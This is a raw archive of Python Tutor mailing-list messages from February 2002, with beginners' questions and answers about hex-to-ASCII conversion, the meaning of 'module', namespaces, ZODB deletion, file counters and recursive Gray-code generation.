> Hi everybody,
>     For a program I'm working on I get data in ASCII hex digit
> characters (0-9, A-F), with two sequential ASCII hex digits corresponding
> to the hex value of each data byte. Eg: (because I know what I just said
> makes no sense :)), an ASCII "A" data character is sent as the two ASCII
> characters "41" (ie: 0x41 == 65 == ord('A')
>     Now, the problem is I need to intepret this, what follows below is
> what I could hack up, but is kinda ugly. Could someone gimme
> something better ??
> 
> intepreter session:
> =========================================================
> >>> p ="""416268696A6565740A353435303134392870756E65290D
> ... 35353130363639286F666629"""
> >>> s = [ chr(int(p[x:x+2], 16)) for x in range(0, len(p), 2) ]
> >>> s
> ['A', 'b', 'h', 'i', 'j', 'e', 'e', 't', '\n', '5', '4', '5', '0', '1',
> '4', '9', '(', 'p', 'u', 'n', 'e', ')', '\r', '5', '5', '1', '0', '6',
> '6', '9', '(', 'o', 'f', 'f', ')']
> >>>
> =========================================================

I'd do it exactly the same way, I think. 

It may be a bit ugly and unreadable, so you might want to write it in a more
verbose style, depending on taste, eg

s = [] # List of characters
for location in range(0, len(p), 2):
   # Convert from hex to int, then to ascii
   character = chr(int(p[location:location+2], 16))
   s.append(character)
   
This does the same thing and is a little slower, but more readable for
anyone who isn't fluent with list comprehension style and the other
functions used.

But it's mostly taste. What you have works fine.

-- 
Remco Gerlich


From dyoo@hkn.eecs.berkeley.edu  Fri Feb  8 09:19:10 2002
From: dyoo@hkn.eecs.berkeley.edu (Danny Yoo)
Date: Fri, 8 Feb 2002 01:19:10 -0800 (PST)
Subject: [Tutor] converting to Ascii from hex   [writing a group()
 function]
In-Reply-To: <Pine.LNX.4.30.0202081324001.2640-100000@mercury.worli>
Message-ID: <Pine.LNX.4.21.0202080100090.20875-100000@hkn.eecs.berkeley.edu>

On Fri, 8 Feb 2002, lonetwin wrote:

>     For a program I'm working on I get data in ASCII hex digit
> characters (0-9, A-F), with two sequential ASCII hex digits
> corresponding to the hex value of each data byte. Eg: (because I know
> what I just said makes no sense :)), an ASCII "A" data character is
> sent as the two ASCII characters "41" (ie: 0x41 == 65 == ord('A')


Hi lonetwin,


Interesting!  Ok, let's take a look at the program:

> >>> p ="""416268696A6565740A353435303134392870756E65290D
> ... 35353130363639286F666629"""
> >>> s = [ chr(int(p[x:x+2], 16)) for x in range(0, len(p), 2) ]
> >>> s
> ['A', 'b', 'h', 'i', 'j', 'e', 'e', 't', '\n', '5', '4', '5', '0', '1',
> '4', '9', '(', 'p', 'u', 'n', 'e', ')', '\r', '5', '5', '1', '0', '6',
> '6', '9', '(', 'o', 'f', 'f', ')']


This looks good.  If we want, we can write a few functions to tease out
some of the functionality.  A large part of the program appears to try
grouping pairs of elements in the sequence. We can generalize the grouping
by writing a function like this:

###
def group(seq, n=2):
    """Given a sequence 'seq', returns a list that clumps up
    'n' adjacent elements together.  By default, n=2."""
    pieces = []
    for i in range(len(seq) / n):
        pieces.append(seq[i*n : (i+1)*n])
    return pieces
###


Here's an example of group() in action:

###
>>> group("1234567890")
['12', '34', '56', '78', '90']
>>> group("1234567890", 3)
['123', '456', '789']
>>> group("1234567890", 4)
['1234', '5678']
###


Cool, so that works.  Once we have something like group(), we can write
something like:

###
s = [ chr(int(p[x:x+2], 16)) for x in range(0, len(p), 2) ]
###

equivalently as:

###
s = [ chr(int(chunk, 16)) for chunk in group(p)]
###

I think having the group() function is worth the effort, as defining 's'
becomes much nicer looking.  It also gives us some versatility, because we
can easily fiddle with this to group four letters at a time.


I hope this helps!



From dyoo@hkn.eecs.berkeley.edu  Fri Feb  8 09:26:52 2002
From: dyoo@hkn.eecs.berkeley.edu (Danny Yoo)
Date: Fri, 8 Feb 2002 01:26:52 -0800 (PST)
Subject: [Tutor] converting to Ascii from hex   [writing a group()
 function]
In-Reply-To: <Pine.LNX.4.21.0202080100090.20875-100000@hkn.eecs.berkeley.edu>
Message-ID: <Pine.LNX.4.21.0202080121320.20875-100000@hkn.eecs.berkeley.edu>

On Fri, 8 Feb 2002, Danny Yoo wrote:

> This looks good.  If we want, we can write a few functions to tease out
> some of the functionality.  A large part of the program appears to try
> grouping pairs of elements in the sequence. We can generalize the grouping
> by writing a function like this:
> 
> ###
> def group(seq, n=2):
>     """Given a sequence 'seq', returns a list that clumps up
>     'n' adjacent elements together.  By default, n=2."""
>     pieces = []
>     for i in range(len(seq) / n):
>         pieces.append(seq[i*n : (i+1)*n])
>     return pieces
> ###


Hmmm... I should be careful about the division here, since Python is bound
to transition off to use true division, sooner or later.  Here's another
version of the group() function:


###
def group(seq, n=2):
    """Given a sequence 'seq', returns a list that clumps up
    'n' adjacent elements together.  By default, n=2."""
    pieces = []
    for i in range(int(len(seq) / n)):
        pieces.append(seq[i*n : (i+1)*n])
    return pieces
###


There!  This also makes explicit the fact that we do want to do a
truncation, so that group() always has groups that are 'n' elements long.  
For example:

###
>>> group(['key1', 'value1', 'key2', 'value2', 'key3'])
[['key1', 'value1'], ['key2', 'value2']]
###

will make sure that we ignore any trailing pieces of a sequence when we're
doing a grouping.



From rashigupta77@hotmail.com  Fri Feb  8 11:05:42 2002
From: rashigupta77@hotmail.com (rashi gupta)
Date: Fri, 8 Feb 2002 16:35:42 +0530
Subject: [Tutor] Book on Python
Message-ID: <OE63F6EBSotwBP8xidG00001d98@hotmail.com>

This is a multi-part message in MIME format.

------=_NextPart_000_0009_01C1B0BE.A6485E80
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable

Hi all,

I have writen a book on Python. The intended target audience for the =
book are begginners to intermediate programmers. I am looking for people =
who would be interested in doing a techical review . People interested =
can contact me at rashigupta77@hotmail.com.

Regards,
rashi

------=_NextPart_000_0009_01C1B0BE.A6485E80
Content-Type: text/html;
	charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<HTML><HEAD>
<META http-equiv=3DContent-Type content=3D"text/html; =
charset=3Diso-8859-1">
<META content=3D"MSHTML 6.00.2600.0" name=3DGENERATOR>
<STYLE></STYLE>
</HEAD>
<BODY bgColor=3D#ffffff>
<DIV><FONT face=3DArial size=3D2>Hi all,</FONT></DIV>
<DIV><FONT face=3DArial size=3D2></FONT>&nbsp;</DIV>
<DIV><FONT face=3DArial size=3D2>I have writen a book on Python. The =
intended target=20
audience for the book are begginners to intermediate programmers. I am =
looking=20
for people who would be interested in doing a techical review . People=20
interested can contact me at <A=20
href=3D"mailto:rashigupta77@hotmail.com">rashigupta77@hotmail.com</A>.</F=
ONT></DIV>
<DIV><FONT face=3DArial size=3D2></FONT>&nbsp;</DIV>
<DIV><FONT face=3DArial size=3D2>Regards,</FONT></DIV>
<DIV><FONT face=3DArial size=3D2>rashi</FONT></DIV></BODY></HTML>

------=_NextPart_000_0009_01C1B0BE.A6485E80--


From schoeller@zkm.de  Fri Feb  8 16:18:47 2002
From: schoeller@zkm.de (=?ISO-8859-1?Q?Andreas_Sch=F6ller?=)
Date: Fri, 8 Feb 2002 17:18:47 +0100
Subject: [Tutor] Stupid newby Question ZODB
Message-ID: <87AC7902-1CAF-11D6-9876-0003937266F6@zkm.de>

Hello Tutors,

How can one delete an entry from a IOBtree ? A simple del tree[key] 
brings a __delitem__ error. Reassing a value like tree[key] = value is 
no problem ? How come ? Any special metos needed to accomplish this ?

thank you all , andreas



From wolf_binary@hotmail.com  Fri Feb  8 17:52:55 2002
From: wolf_binary@hotmail.com (Cameron Stoner)
Date: Fri, 8 Feb 2002 11:52:55 -0600
Subject: [Tutor] modular programming help
Message-ID: <DAV15f5eS0qPH4Q8mc200012ece@hotmail.com>

This is a multi-part message in MIME format.

------=_NextPart_000_001A_01C1B097.255285C0
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable

What I mean is Python uses files (name.py) as modules.  My intro to =
programming teacher in college is telling me that importing a file isn't =
calling a module.  I must be confussed here because I have always =
understood that modules were external programming things that you =
brought in with the import and then executed with functions from it what =
you wanted done.  Now this is how I use or understand modules in Python.

You have some file called mod.py as a module.  It has a function in it =
called say printing.  This is what the function looks like:

def printing(x):
    return x

Now to access this function I have to import it.

import mod

Then to use it:

mod.printing("hello")

Then there are the functions that return a 0, or a 1.  She says those =
are modules.  Example:

def name(x):
    if x >0
        return 1
    else:
        return 0

What is what here.  We're using Qbasic to understand how to do logic, =
but the terminology is tripping me up with Python.  She also said you =
should be able to pass values to modules and have them return values to =
you.  Functions in Python do that so she thought Python used the def to =
create procedures or subroutines.  I don't understand this Python idiom =
I guess. =20

A very confussed beginner,
Cameron

------=_NextPart_000_001A_01C1B097.255285C0
Content-Type: text/html;
	charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<HTML><HEAD>
<META http-equiv=3DContent-Type content=3D"text/html; =
charset=3Diso-8859-1">
<META content=3D"MSHTML 6.00.2712.300" name=3DGENERATOR>
<STYLE></STYLE>
</HEAD>
<BODY bgColor=3D#ffffff>
<DIV><FONT face=3DArial size=3D2>What I mean is Python uses files =
(name.py) as=20
modules.&nbsp; My intro to programming teacher in college is telling me =
that=20
importing a file isn't calling a module.&nbsp; I must be confussed here =
because=20
I have always understood that modules were external programming things =
that you=20
brought in with the import and then executed with functions from it what =
you=20
wanted done.&nbsp; Now this is how I use or understand modules in=20
Python.</FONT></DIV>
<DIV><FONT face=3DArial size=3D2></FONT>&nbsp;</DIV>
<DIV><FONT face=3DArial size=3D2>You have some file called mod.py =
as&nbsp;a=20
module.&nbsp; It has a function in it called say printing.&nbsp; This is =
what=20
the function looks like:</FONT></DIV>
<DIV><FONT face=3DArial size=3D2></FONT>&nbsp;</DIV>
<DIV><FONT face=3DArial size=3D2>def printing(x):</FONT></DIV>
<DIV><FONT face=3DArial size=3D2>&nbsp;&nbsp;&nbsp; return =
x</FONT></DIV>
<DIV><FONT face=3DArial size=3D2></FONT>&nbsp;</DIV>
<DIV><FONT face=3DArial size=3D2>Now to access this function I have to =
import=20
it.</FONT></DIV>
<DIV><FONT face=3DArial size=3D2></FONT>&nbsp;</DIV>
<DIV><FONT face=3DArial size=3D2>import mod</FONT></DIV>
<DIV><FONT face=3DArial size=3D2></FONT>&nbsp;</DIV>
<DIV><FONT face=3DArial size=3D2>Then to use it:</FONT></DIV>
<DIV><FONT face=3DArial size=3D2></FONT>&nbsp;</DIV>
<DIV><FONT face=3DArial size=3D2>mod.printing("hello")</FONT></DIV>
<DIV><FONT face=3DArial size=3D2></FONT>&nbsp;</DIV>
<DIV><FONT face=3DArial size=3D2>Then there are the functions that =
return a 0, or a=20
1.&nbsp; She says those are modules.&nbsp; Example:</FONT></DIV>
<DIV><FONT face=3DArial size=3D2></FONT>&nbsp;</DIV>
<DIV><FONT face=3DArial size=3D2>def name(x):</FONT></DIV>
<DIV><FONT face=3DArial size=3D2>&nbsp;&nbsp;&nbsp; if x =
&gt;0</FONT></DIV>
<DIV><FONT face=3DArial size=3D2>&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; =
return=20
1</FONT></DIV>
<DIV><FONT face=3DArial size=3D2>&nbsp;&nbsp;&nbsp; else:</FONT></DIV>
<DIV><FONT face=3DArial size=3D2>&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; =
return=20
0</FONT></DIV>
<DIV><FONT face=3DArial size=3D2></FONT>&nbsp;</DIV>
<DIV><FONT face=3DArial size=3D2>What is what here.&nbsp; We're using =
Qbasic to=20
understand how to do logic, but the terminology is tripping me up with=20
Python.&nbsp; She also said you should be able to pass values to modules =
and=20
have them return values to you.&nbsp; Functions in Python do that so she =
thought=20
Python used the def to create procedures or subroutines.&nbsp; I don't=20
understand this Python idiom I guess.&nbsp; </FONT></DIV>
<DIV><FONT face=3DArial size=3D2></FONT>&nbsp;</DIV>
<DIV><FONT face=3DArial size=3D2>A very confussed beginner,</FONT></DIV>
<DIV><FONT face=3DArial size=3D2>Cameron</FONT></DIV></BODY></HTML>

------=_NextPart_000_001A_01C1B097.255285C0--


From dyoo@hkn.eecs.berkeley.edu  Fri Feb  8 18:05:40 2002
From: dyoo@hkn.eecs.berkeley.edu (Danny Yoo)
Date: Fri, 8 Feb 2002 10:05:40 -0800 (PST)
Subject: [Tutor] modular programming help
In-Reply-To: <DAV15f5eS0qPH4Q8mc200012ece@hotmail.com>
Message-ID: <Pine.LNX.4.21.0202080954570.2160-100000@hkn.eecs.berkeley.edu>

On Fri, 8 Feb 2002, Cameron Stoner wrote:

> What I mean is Python uses files (name.py) as modules.  My intro to
> programming teacher in college is telling me that importing a file
> isn't calling a module.  I must be confussed here because I have

Hmmm... yikes.  It might just be that QBasic programmers use different
terminology than Python programmers.


> always understood that modules were external programming things that
> you brought in with the import and then executed with functions from
> it what you wanted done.  Now this is how I use or understand modules
> in Python.

That's how I understand them as well.


> Then there are the functions that return a 0, or a 1.  She says those
> are modules.  Example:
>
> def name(x):
>     if x >0
>         return 1
>     else:
>         return 0


I've heard this kind of function called a "boolean" function or a
"predicate" --- I've never heard of it being called a "module", but then,
I've never played with Qbasic before.  *grin*



> What is what here.  We're using Qbasic to understand how to do logic,
> but the terminology is tripping me up with Python.  She also said you
> should be able to pass values to modules and have them return values
> to you.  Functions in Python do that so she thought Python used the
> def to create procedures or subroutines.  I don't understand this
> Python idiom I guess.

The way your teacher is using the word "module" is different from the way
that we're using the word "module".  It'll be a little confusing at first,
but try to treat them as separate concepts.


If it's possible, try asking your teacher for reasons why the 0-1
functions are called "modules", and that may help.  I took a look at:

    http://www.geocities.com/progsharehouse/qbtutor/tut17.htm

and apparently, in the context of QBasic, the word "subroutine" and
"module" are synonymous.  That's not the case in Python --- in Python, we
have a distinction in mind between those words.

QBasic also makes the distinction between subroutines that return values,
and they call these things "functions".  However, Python doesn't make this
distinction because all Python "functions" always return a value.


Vocabulary often depends on context, even when we deal with programming
languages.  Don't worry too much; you'll be able to flip between them in
time.

Good luck to you.



From wesc@deirdre.org  Fri Feb  8 18:06:40 2002
From: wesc@deirdre.org (wesc@deirdre.org)
Date: Fri, 8 Feb 2002 10:06:40 -0800 (PST)
Subject: [Tutor] ANN: SV-SF Bay Area Python UG (BayPIGgies) Mtg 2/13 7:30pm
Message-ID: <200202081806.KAA02926@alpha.ece.ucsb.edu>

Date:     February 13, 2002
Time:     7:30pm - 9pm
Location: Stanford University
Agenda:   Python 10 Conference Summary
Speaker:  Todd Valentic, SRI International

Many of us were not be able to make it to the Python10 Conference (Feb
4-7 2002). Todd, who presented a paper at the conference, will give us
the lowdown on what happened.

More information including directions at http://deirdre.org/baypiggies

-wesley

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -

"Core Python Programming", Prentice Hall PTR, © 2001
    http://starship.python.net/crew/wesc/cpp/

Silicon Valley-San Francisco Bay Area Python Users Group (BayPIGgies)
    http://deirdre.org/baypiggies

wesley.j.chun :: wesc@deirdre.org
cyberweb.consulting : henderson, nv : cyberweb@rocketmail.com
http://www.roadkill.com/~wesc/cyberweb/


From kojo@hal-pc.org  Fri Feb  8 18:17:11 2002
From: kojo@hal-pc.org (kojo@hal-pc.org)
Date: Fri, 8 Feb 2002 18:17:11 GMT
Subject: [Tutor] modular programming help
Message-ID: <200202081816.MAA15931@mail.hal-pc.org>

Cam,

It seems to be primarily an issue of nomenclature <sp?> and convention varying 
between languages.

Modules/Subroutines/Functions are all similar, although different languages 
refer to them in different ways.

Here's my understanding of them in general, from a language-agnostic view:

Functions: Smallest of the three.  They tend to have just one purpose, like a 
good Unix tool (for those who know Unix).  They usually do one thing 
only...convert from $US to $Canadian; convert a string to Ascii; that sort of 
thing.  MOre of a One-step deal that you're going to need to do alot.

Subroutines: Larger and more complex than Functions.  May be made up of 
multiple Functions.  Usually perform more than one step on whatever they take 
in. (Take a binary number, convert it to Hex, find the HTML color for that hex 
value, print the name of the color).

Modules: Largest and most complex of the three.  Could easily be stand-alone 
(but limited use) programs.  Can also be called by other programs to provide 
functionality.

Different languages use differnt terms for programming constructs similar to 
the ones above.  IIRC, Basic used Subroutines, Pascal says "Procedure" where 
Python might say "Function", and I'm not sure who besides us (Python) uses the 
term "Module".  All three can usually take an argument and return a value.

I think (and someone PLEASE jump in if I'm wrong so I don't confuse poor Cam) 
it's just a matter of figuring out what type of programming construct your 
teacher is discussing, in a more general sense.  Then you can learn the 
nomenclature used for the language you're learning.

It's like learning that Perl's Hash is Python's Dictionary.  Both are a mapping 
of some value to some key.

Oh, and sorry for any spelling errors.  I'm at work (temp job), so I'm using a 
web interface to my mail...No SpellChecker!!

Hope this helps,

> What I mean is Python uses files (name.py) as modules.  My intro to
> programming teacher in college is telling me that importing a file isn't
> calling a module.  I must be confussed here because I have always
> understood that modules were external programming things that you
> brought in with the import and then executed with functions from it what
> you wanted done.  Now this is how I use or understand modules in Python.
> 
> You have some file called mod.py as a module.  It has a function in it
> called say printing.  This is what the function looks like:
> 
> def printing(x):
>     return x
> 
> Now to access this function I have to import it.
> 
> import mod
> 
> Then to use it:
> 
> mod.printing("hello")
> 
> Then there are the functions that return a 0, or a 1.  She says those
> are modules.  Example:
> 
> def name(x):
>     if x >0
>         return 1
>     else:
>         return 0
> 
> What is what here.  We're using Qbasic to understand how to do logic,
> but the terminology is tripping me up with Python.  She also said you
> should be able to pass values to modules and have them return values to
> you.  Functions in Python do that so she thought Python used the def to
> create procedures or subroutines.  I don't understand this Python idiom
> I guess.  
> 
> A very confussed beginner,
> Cameron
> 





From schoeller@zkm.de  Fri Feb  8 18:40:03 2002
From: schoeller@zkm.de (=?ISO-8859-1?Q?Andreas_Sch=F6ller?=)
Date: Fri, 8 Feb 2002 19:40:03 +0100
Subject: [Tutor] ZODB IOBTree deletion question
Message-ID: <4395C57E-1CC3-11D6-9876-0003937266F6@zkm.de>

Hello Tutors,

How can one delete an entry from a IOBtree ? A simple del tree[key] 
brings a __delitem__ error. Reassing a value like tree[key] = value is 
no problem ? How come ? Any special methods needed to accomplish this ?

thank you all , andreas



From urnerk@qwest.net  Fri Feb  8 19:03:41 2002
From: urnerk@qwest.net (Kirby Urner)
Date: Fri, 08 Feb 2002 11:03:41 -0800
Subject: [Tutor] ZODB IOBTree deletion question
In-Reply-To: <4395C57E-1CC3-11D6-9876-0003937266F6@zkm.de>
Message-ID: <4.2.0.58.20020208110213.019ece80@pop3.norton.antivirus>

At 07:40 PM 2/8/2002 +0100, Andreas Sch=F6ller wrote:
>Hello Tutors,
>
>How can one delete an entry from a IOBtree ? A simple del tree[key] brings=
=20
>a __delitem__ error. Reassing a value like tree[key] =3D value is no=
 problem=20
>? How come ? Any special methods needed to accomplish this ?
>
>thank you all , andreas

You're talking about ZOPE right?  You'd probably have better
luck on another list if so.  Beginner Pythoneers aren't looking
for Zope info, mostly.  But I could be wrong, some of the
tutors here seem to have delved into just about everything.

But you should ask on a Zope-specific list too, not just
here.

Kirby



From urnerk@qwest.net  Fri Feb  8 19:17:27 2002
From: urnerk@qwest.net (Kirby Urner)
Date: Fri, 08 Feb 2002 11:17:27 -0800
Subject: [Tutor] modular programming help
In-Reply-To: <Pine.LNX.4.21.0202080954570.2160-100000@hkn.eecs.berkeley.
 edu>
References: <DAV15f5eS0qPH4Q8mc200012ece@hotmail.com>
Message-ID: <4.2.0.58.20020208110437.019ef7a0@pop3.norton.antivirus>

>
>The way your teacher is using the word "module" is different from the way
>that we're using the word "module".  It'll be a little confusing at first,
>but try to treat them as separate concepts.

Good advice from Danny, as usual.

A big problem in programming is "name collisions", where the
same word could point to different things, hence ambiguity.

The way Python, and other languages, resolve this issue
is to define a "namespace" and, in Python, a module defines
a namespace.  So if you have a function named spam() in
moduleA.py, and a function names spam() in moduleB.py,
you can resolve the ambiguity by going:

    import moduleA, moduleB

    moduleA.spam(1,2)
    moduleB.spam("Takes different arguments",can="open")

Or you can rename the function upon importing:

    from moduleA import spam as redspam  # sounds gross
    from moduleB import spam as bluespam # ditto

    redspam(1,2)
    bluespam("characters",can="closed")

Now, this namespace problem happens in REAL LIFE [tm], so
you can think of your teacher using the word "module" in
a namespace defined by teacher.py, inside of which namespace,
the word module is roughly equivalent to function, or
subprocedure (BASIC is big on subprocedures -- a term
you won't hear much in Python circles).

So, mentally, when your teacher says "module", you can
think "myteacher.module" and when a Python programmer says
module, you can thing "pythonprogrammer.module" -- and in
that way, you resolve the ambiguity.

Note:  the solution is similar to the file-pathname solution
in a file system.  You can have the same file name all over
the place, but a *fully qualified* file name needs to be
unique, i.e. spam.py may occur in several directories, but
there can be only one root/usrs/myspace/stuff/python/spam.py

Expanding to the internet as a whole, you can prefix the
domain name and so on, by reversing the URL:

    com.mydomain.mybox.usrs.myspace.stuff.python.spam.py

thereby becomes unique in the entire namespace of the
internet -- the convention used by Java programmers to
link to remote .class files and such.

It's all about how to have freedoms to use whatever names
inhouse (locally), but without sacrificing precise,
unambiguous references globally.


>Vocabulary often depends on context, even when we deal with
>programming languages.  Don't worry too much; you'll be able
>to flip between them in time.

Exactly.  And making these kinds of flips is what
compsci.languages.python.modules are all about.

Kirby



From wolf_binary@hotmail.com  Fri Feb  8 19:25:36 2002
From: wolf_binary@hotmail.com (Cameron Stoner)
Date: Fri, 8 Feb 2002 13:25:36 -0600
Subject: [Tutor] language of modules
Message-ID: <DAV64DI1lJ0TFOKGfzE00024e23@hotmail.com>

This is a multi-part message in MIME format.

------=_NextPart_000_0013_01C1B0A4.180FD360
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable

Thanks to all for help on my question,

I thought it must be a big issue in programming to have terminalogy to =
get mixed up, but has anything been done to bring a standard to the =
terminology used in languages?

thanks again,
Cameron

------=_NextPart_000_0013_01C1B0A4.180FD360
Content-Type: text/html;
	charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<HTML><HEAD>
<META http-equiv=3DContent-Type content=3D"text/html; =
charset=3Diso-8859-1">
<META content=3D"MSHTML 6.00.2712.300" name=3DGENERATOR>
<STYLE></STYLE>
</HEAD>
<BODY bgColor=3D#ffffff>
<DIV><FONT face=3DArial size=3D2>Thanks to all for help on my =
question,</FONT></DIV>
<DIV><FONT face=3DArial size=3D2></FONT>&nbsp;</DIV>
<DIV><FONT face=3DArial size=3D2>I thought it must be a big issue in =
programming to=20
have terminalogy to get mixed up, but has anything been done to bring a =
standard=20
to the terminology used in languages?</FONT></DIV>
<DIV><FONT face=3DArial size=3D2></FONT>&nbsp;</DIV>
<DIV><FONT face=3DArial size=3D2>thanks again,</FONT></DIV>
<DIV><FONT face=3DArial size=3D2>Cameron</FONT></DIV></BODY></HTML>

------=_NextPart_000_0013_01C1B0A4.180FD360--


From James.Alexander.McCarney@Cognicase.com  Fri Feb  8 19:32:50 2002
From: James.Alexander.McCarney@Cognicase.com (McCarney, James Alexander)
Date: Fri, 8 Feb 2002 14:32:50 -0500
Subject: [Tutor] Calling out to check on a server
Message-ID: <23FD7B1A77E8D211BCB900001D108C02018B299F@camelot>

Hail Pythonistas universal and triumphant,

I seem to recall that there is a way (script) to check a server to see if it
is alive. Maybe Vaults of Parnassus, but I didn't see it when I checked.

Is anyone aware of something like that? Does anyone have something (code,
tips, urls, whatever) they could share?

My platform Wind*** 2000; IIS server residing on another machine. Py 2.2

Any help at all would be most appreciated! ;-)

James Alexander McCarney, technical writer, (450) 928-3386 x2262 
Cognicase-M3i http://www.m3isystems.com
mailto:James.Alexander.McCarney@Cognicase.com
1111 Saint-Charles Avenue West, 11th Floor, East Tower, Longueuil, Quebec,
J4K 5G4 Canada


From idiot1@netzero.net  Fri Feb  8 19:37:59 2002
From: idiot1@netzero.net (kirk Bailey)
Date: Fri, 08 Feb 2002 14:37:59 -0500
Subject: [Tutor] counter
Message-ID: <3C642917.2B4388FF@netzero.net>

OK, something simple. I want to write a counter for a webpage.

This means reading a file, adding one to the contents, displaying the
result, and writing that new number to the file and saving it.

Opening and closing and reading and wrigting files I grok. But I
understand python is rather odd about numbers, reading a text
expression of a number and saving same. This all seems to involve the
pickle module, but maybe not?

OK, for a minimal concversion to/from text from/to a number, what is
the method without pickle, and with?



-- 
 
end
	    Respectfully,
			Kirk D Bailey

+---------------------"Thou Art Free." -Eris----------------------+
| http://www.howlermonkey.net mailto:highprimate@howlermonkey.net |
| http://www.tinylist.org  +--------+  mailto:grumpy@tinylist.org |
+------------------Thinking| NORMAL |Thinking---------------------+
                           +--------+
----------------------------------------------------
Sign Up for NetZero Platinum Today
Only $9.95 per month!
http://my.netzero.net/s/signup?r=platinum&refcd=PT97


From guido@python.org  Fri Feb  8 18:20:41 2002
From: guido@python.org (Guido van Rossum)
Date: Fri, 08 Feb 2002 13:20:41 -0500
Subject: [Tutor] Re: ANN: SV-SF Bay Area Python UG (BayPIGgies) Mtg 2/13 7:30pm
In-Reply-To: Your message of "Fri, 08 Feb 2002 10:06:40 PST."
 <200202081806.KAA02926@alpha.ece.ucsb.edu>
References: <200202081806.KAA02926@alpha.ece.ucsb.edu>
Message-ID: <200202081820.g18IKf003010@pcp742651pcs.reston01.va.comcast.net>

OK, added.


From dyoo@hkn.eecs.berkeley.edu  Fri Feb  8 21:19:11 2002
From: dyoo@hkn.eecs.berkeley.edu (Danny Yoo)
Date: Fri, 8 Feb 2002 13:19:11 -0800 (PST)
Subject: [Tutor] counter
In-Reply-To: <3C642917.2B4388FF@netzero.net>
Message-ID: <Pine.LNX.4.21.0202081317180.8030-100000@hkn.eecs.berkeley.edu>

On Fri, 8 Feb 2002, kirk Bailey wrote:

> OK, something simple. I want to write a counter for a webpage.
> 
> This means reading a file, adding one to the contents, displaying the
> result, and writing that new number to the file and saving it.
> 
> Opening and closing and reading and wrigting files I grok. But I
> understand python is rather odd about numbers, reading a text
> expression of a number and saving same.

Yes, when we read(), what we get back will be a string.  However, we can
coerse the string into an integer by using the int() function:

###
>>> number = "42"
>>> int(number)
>>> number
'42'
42
###

For symmetry, we also have access to an str() function that can bend
anything into a string.


Good luck to you!



From dyoo@hkn.eecs.berkeley.edu  Fri Feb  8 21:36:43 2002
From: dyoo@hkn.eecs.berkeley.edu (Danny Yoo)
Date: Fri, 8 Feb 2002 13:36:43 -0800 (PST)
Subject: [Tutor] counter
In-Reply-To: <Pine.LNX.4.21.0202081317180.8030-100000@hkn.eecs.berkeley.edu>
Message-ID: <Pine.LNX.4.21.0202081335370.8030-100000@hkn.eecs.berkeley.edu>

On Fri, 8 Feb 2002, Danny Yoo wrote:

> ###
> >>> number = "42"
> >>> int(number)
> >>> number
> '42'
> 42
> ###


Gaah!  Whoops, I cut and pasted wrong.  I meant:

###
>>> number = "42"
>>> number
'42'
>>> int(number)
42
###

My apologies for the confusion; that was careless of me.



From glingl@aon.at  Fri Feb  8 23:05:42 2002
From: glingl@aon.at (Gregor Lingl)
Date: Sat, 9 Feb 2002 00:05:42 +0100
Subject: [Tutor] a recursion opportunity
References: <fc.004c4b6b008c1864004c4b6b008c1864.8c18d4@blakeschool.org>
Message-ID: <00f401c1b0f5$222bdaa0$1664a8c0@mega>

----- Original Message -----
From: "Christopher Smith" <csmith@blakeschool.org>
To: <tutor@python.org>
Sent: Wednesday, February 06, 2002 11:57 PM
Subject: [Tutor] a recursion opportunity


> I was reading about Boolean algebra today and happened across a nice
> little recursion definition that anyone wanting to sharpen up on recursion
> might want to try.  ...
> Here is an example of creating a 3-bit Gray code from a
> 2-bit Gray code.
>
> 00 01 11 10 A Gray code for 2 bits
> 000 001 011 010 the 2-bit code with "0" prefixes
> 10 11 01 00 the 2-bit code in reverse order
> 110 111 101 100 the reversed code with "1" prefixes
> 000 001 011 010 110 111 101 100 A Gray code for 3 bits
> ...
> So the exercise is to write a function that will return a list of strings
> representing the binary numbers in an n-bit Gray code.

To break the silence, this is my solution:

def gray(l):
    if l:
        return ['0'+l[0]] + gray(l[1:]) + ['1'+l[0]]
    else:
        return []

def graycode(n):
    if n:
        return gray(graycode(n-1))
    else:
        return ['']

I'm interested in yours. Can it be done in ONE SINGLE recursive function?
Gregor



From csmith@blakeschool.org  Fri Feb  8 23:25:26 2002
From: csmith@blakeschool.org (Christopher Smith)
Date: Fri, 08 Feb 2002 17:25:26 -0600
Subject: [Tutor] Re: a recursion opportunity
In-Reply-To: <00f401c1b0f5$222bdaa0$1664a8c0@mega>
References: <fc.004c4b6b008c1864004c4b6b008c1864.8c18d4@blakeschool.org>
 <00f401c1b0f5$222bdaa0$1664a8c0@mega>
Message-ID: <fc.004c4b6b008c7b05004c4b6b008c1864.8c7b3a@blakeschool.org>

glingl@aon.at writes:
>
>To break the silence, this is my solution:
>
>
>def gray(l):
>    if l:
>        return ['0'+l[0]] + gray(l[1:]) + ['1'+l[0]]
>    else:
>        return []
>
>def graycode(n):
>    if n:
>        return gray(graycode(n-1))
>    else:
>        return ['']
>
>I'm interested in yours. Can it be done in ONE SINGLE recursive function?
>Gregor

After watching the tutor list discuss these this summer and after breaking
my mind on the permutations problem via recursion I think I'm starting to
get it:  this was what I did:

def graycode(n):
	if n==0:
		return ['']
	else:
		l=[]
		g=graycode(n-1)
		for gi in g:
			l.append('0'+gi)
		g.reverse()
		for gi in g:
			l.append('1'+gi)
		return l

for i in range(4):
	print graycode(i)

I especially like it because for the first time it seemed like I could
translate teh difinition into a code in a natural way.  That's why I
thought it would make a good "early experience" recursion exercise.

/c
		
>




From csmith@blakeschool.org  Sat Feb  9 03:56:06 2002
From: csmith@blakeschool.org (Christopher Smith)
Date: Fri, 08 Feb 2002 21:56:06 -0600
Subject: [Tutor] Re: precedence bug?
In-Reply-To: <B8D5A659-1CFB-11D6-A17D-00039354009A@mac.com>
References: <B8D5A659-1CFB-11D6-A17D-00039354009A@mac.com>
